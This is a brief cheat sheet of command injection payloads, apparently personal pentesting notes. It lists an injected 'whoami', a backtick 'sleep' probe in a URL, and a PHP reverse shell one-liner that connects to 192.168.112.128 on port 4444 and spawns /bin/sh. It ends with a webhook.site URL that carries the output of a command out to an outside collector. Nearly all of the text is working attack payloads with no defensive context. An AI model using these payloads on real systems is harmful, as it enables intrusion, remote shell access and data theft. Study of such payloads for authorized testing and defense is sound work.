Command Injection

; whoami ; #

http://localhost?q=`sleep 10`

# PHP reverse shell
; php -r '$sock=fsockopen("192.168.112.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");' ; #

# It will send data to our site
https://webhook.site/b5ffbf17-8bfe-4b0f-8361-2d5d4ed67a83/?q=`whoami`